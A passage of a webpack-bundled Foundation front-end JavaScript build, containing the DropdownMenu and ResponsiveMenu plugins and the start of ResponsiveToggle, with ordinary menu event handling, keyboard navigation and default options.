_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if 